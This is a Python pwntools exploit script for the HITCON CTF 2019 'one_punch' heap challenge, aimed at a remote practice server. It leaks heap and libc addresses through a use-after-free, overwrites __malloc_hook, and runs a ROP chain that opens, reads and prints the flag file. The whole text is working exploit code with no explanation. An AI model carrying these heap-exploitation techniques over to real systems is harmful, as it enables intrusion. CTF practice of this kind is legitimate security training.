1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from pwn import* elf = ELF('hitcon_ctf_2019_one_punch') libc = elf.libc
p =remote('node4.buuoj.cn',27110)
context.arch = 'amd64'
def debut(idx, name): p.sendlineafter(b'>', b'1') p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'name:', name) def rename(idx, name): p.sendlineafter(b'>', b'2') p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'name:', name) def show(idx): p.sendlineafter(b'>', b'3') p.sendlineafter(b'idx:', str(idx).encode()) def retire(idx): p.sendlineafter(b'>', b'4') p.sendlineafter(b'idx:', str(idx).encode()) def backdoor(content): p.sendlineafter(b'>', b'50056') p.send(content)
debut(0 ,b'a' * 0x210) retire(0) for i in range(4): rename(0, p64(0) * 2) retire(0)
debut(0, b'a' * 0x310) debut(1, b'a' * 0x310) retire(0) retire(1) show(1) p.recvuntil(b'name: ') heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x260 - 0x220
for i in range(6): rename(0, p64(0) * 2) retire(0) show(0) p.recvuntil(b'name: ') leak = u64(p.recv(6).ljust(8, b'\x00')) libcbase = leak - 96 - 0x10 - libc.sym['__malloc_hook'] free_hook = libcbase + libc.sym['__free_hook'] malloc_hook = libcbase + libc.sym['__malloc_hook'] pop_rdi = libcbase + 0x26542 pop_rsi = libcbase + 0x26f9e pop_rdx = libcbase + 0x12bda6 pop_rax = libcbase + 0x47cf8 syscall_ret = libcbase + 0xcf6c5
debut(1, b'a' * 0xf0) debut(1, b'a' * 0x310) debut(2, b'a' * 0x240) retire(2) retire(1) for i in range(6): rename(2, p64(0) * 2) retire(2) debut(1, b'a' * 0x320) debut(1, b'a' * 0x310) rename(2, p64(0) * 2) retire(2) retire(1) debut(1, b'a' * 0x340) debut(1, b'a' * 0x240)
payload = p64(0) * 5 + p64(0x221) + p64(heap_addr + 0x570) + p64(malloc_hook - 0x38) rename(2, payload) debut(1, b'flag'.ljust(0x210, b'\x00')) payload = p64(0) * 5 + p64(libcbase + 0x99540) backdoor(payload)
payload = flat( p64(pop_rdi), p64(heap_addr + 0x580), p64(pop_rsi), p64(0), p64(pop_rax), p64(2), p64(syscall_ret),
p64(pop_rdi), p64(3), p64(pop_rsi), p64(heap_addr), p64(pop_rdx), p64(0x30), p64(pop_rax), p64(0), p64(syscall_ret),
p64(pop_rdi), p64(1), p64(pop_rsi), p64(heap_addr), p64(pop_rdx), p64(0x30), p64(pop_rax), p64(1), p64(syscall_ret) ) payload = payload.ljust(0x300, b'\x00') debut(1, payload)
p.interactive()
|